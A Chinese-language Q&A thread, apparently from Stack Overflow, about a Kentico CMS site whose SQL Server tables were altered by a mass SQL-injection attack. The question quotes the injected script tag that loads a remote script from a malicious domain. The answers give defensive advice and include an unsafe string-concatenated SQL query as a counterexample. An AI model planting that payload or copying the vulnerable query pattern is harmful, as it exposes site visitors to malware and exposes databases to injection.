2011-12-07 36 views
0

我的網站在Kentico CMS 5.5創建和2008年SQL服務器和其成功運行,但現在,這些天的黑客中的任何一個破解我的網站,很長一段時間後,我發現,在許多表黑客添加如何通過黑客我的Asp.net網站和我的SQL服務器保護?

></title><script src="http://lilupophilupop.com/sl.php"></script><!--

之前的行varchar單元格。假設我有用戶表,在這種情況下,用戶名之前添加了這個字符串,在用戶的電子郵件ID之前添加了相同的字符串。我怎麼能通過使用這種黑客來防止我的sql服務器。這背後的原因是什麼?

回答

3

我怎樣才能防止我的SQL服務器使用這種黑客行爲。

首先,你需要找出黑客是怎麼得到的數據到數據庫(SQL注入,弱帳戶密碼,...)。 然後你可以採取適當的行動。

這是什麼原因?

黑客希望varchar字段打印在網頁上,而不是先正確編碼。如果發生這種情況,用戶的瀏覽器將下載並執行腳本。

+1

+1。通常,「保護」sql server是沒有意義的,因爲它不應該從互聯網上啓動。這可能是來自弱CMS的SQL注入。 Kontact Kentiko,amaybe你忘了解決一個已知的問題,他們發佈了一年前的修復? – TomTom

+0

@Heinzi:我不知道黑客如何破解我的網站。請讓我知道如何檢查這個? –

+0

@GauravAgrawal你不需要知道(也永遠不會知道)小偷是如何挑選你的鎖,你只需要更好地鎖定。 –

1

這看起來可能是一個'SQL注入'攻擊,可能旨在將您的訪問者發送到惡意軟件的惡意網站。

不幸的是,作爲Kentico CMS是商業軟件,您的選擇是有限的。您將無法調整源代碼以防止通過前端進一步進行攻擊。

您可能需要

  • 審查您的SQL服務器的安全性,並確保攻擊者並沒有連接到它直接
  • 更新爲CMS最新的安全修補程序(如果您支付保養免費)
  • 從Kentico獲得支持,他們可能以前
  • 清理數據看到了這一點,並刪除有問題的腳本

如果這些都沒有成功,您可以將觸發器添加到SQL中的必要表中,以便在腳本插入數據庫時​​刪除這些腳本。

0

有幾件事情要記住,節省您的數據庫從下面黑客給出:

  • 始終使用參數化Sql,通過所有值使用參數化查詢

    SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = @ID"); 
    

    不要DB

    SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = " + value + ""); 
    

    同樣,使用INSERT,UPDATEDELETE查詢,或使用STORED PROCEDURE以相同的方式。

  • 只設置權限的特定用戶

  • 你可以在你的頁面/ web.config文件中開啓/關閉ValidateRequest要求。
  • 集驗證無論是在客戶端/服務器端,以便只有有效數據將傳遞到DB
  • 用戶適當的數據類型比使用普通數據類型之外的其他列(說VARCHAR)

感謝

0

下面是這種攻擊是如何工作的: Attack on ASP site that uses a SQL server database

此鏈接可以幫助你清理你的數據庫: http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2/

+0

ie這聽起來像是無數的「lizamoon」或「urchin.js」類型的SQL注入攻擊之一: http://blogs.mcafee.com/mcafee-labs/lizamoon-the-latest-sql-注射攻擊 和 http://blogs.mcafee.com/enterprise/network-security/urchins-lizamoons-tigers-and-bears – DrEvil

+0

作爲防止再次感染的臨時措施,是否可以接受受影響的VARCHAR列上的約束是否禁止小於/大於符號? – DrEvil

0

我同意@Heinzi - 你應該努力弄清楚攻擊矢量(baddie如何進入你的應用程序)。你已經在你的數據庫中找到了文本,但它是如何到達那裏的?直接通過Sql Server或通過Web服務器或通過Kentico?當你經歷這個調查過程時,記下你的安全性弱點,並且在你去時確定它 - 你基本上正在做一個安全審計!執行這些步驟將導致您抵禦多數攻擊,希望能夠防止這種事情再次發生。

我對你的拓撲結構一無所知(你的服務器是如何建立並連接到對方和網絡的),但是我們可以通過查看機器的Windows日誌來開始調查你的sql服務器安裝在 - 查找在有問題的時候發生的登錄,尋找奇怪的用戶帳戶,並檢查您的密碼和用戶名安全。獲取更多的細節在這裏看看的東西:Windows Intruder Detection Checklist

如果這沒有什麼東西,look at the Sql server logs,並檢查您的用戶名/密碼的安全性和對sql服務器實例的訪問;例如:只能從具有明確原因的計算機訪問sql服務器 - 您的Web服務器,可能是網絡管理員等 - 使用Windows防火牆使訪問「緊」,以便sql服務器實例不只是迴應任何電腦詢問。 - Here's more details about how to secure sql server.

檢查web服務器上的web.config - 是否有sql服務器的用戶名和密碼?檢查你的ftp日誌,看看有沒有人試圖最近讀它。

Kentico版本5+(也許更早)帶有記錄「事件」的功能。如果您打開了事件日誌記錄,則應該可以看到您的模板正在被修改;請轉至Site Manager > Administration > Event Log並返回到您第一次注意到的日期,然後檢查用戶帳戶進行修改的條目。

甚至更​​好:如果您有權訪問數據庫服務器,則可以執行直接表查詢來獲取此數據: SELECT TOP 1000 * FROM [CMS_EventLog]再次查看奇怪的IP地址或用戶名在奇數時間發生的條目。

同樣,最好限制對所有'敏感'資源(數據庫,Kentico cmsdesk和siteadmin)的訪問。 Windows防火牆在執行此操作時非常出色 - 可以減少遠程桌面訪問,並關閉儘可能多的端口,從而減少服務器暴露的表面面積。使用簡單的Shields Up! from Gibson ResearchAwesome Nmap security scanner tool來測試您的曝光。

作爲一個例子,我的Web服務器只公開暴露端口80和443(http和https),並且如果需要的話,也許是一個隨機的高端口像4456的Ftp。我使用Windows防火牆將對遠程桌面的訪問限制爲少數IP地址。 Sql服務器沒有公共端口,它們被調整爲「隱身」,並且不回覆來自非授權IP的任何請求。

作爲一個軼事的例子 - 當我將服務器置於運行狀態時,它在機器人開始嘗試通過遠程桌面登錄之前需要8小時才能登錄(您可以在Windows事件日誌>安全性中看到成千上萬的失敗嘗試) - 只要您使用Windows防火牆忽略未經批准的IP地址,日誌就會保持清晰。

作爲一個有用的注意事項:如果您沒有經歷過這類事情,您可能需要採購經驗豐富的Windows系統管理員的服務來幫助您。並且請注意,可能會有更多的系統受損 - 您可能剛剛發現了「冰山一角」,可能有Trojans以及Rootkit和其他惡意等待,因此您還需要全面的安全掃描。

相關問題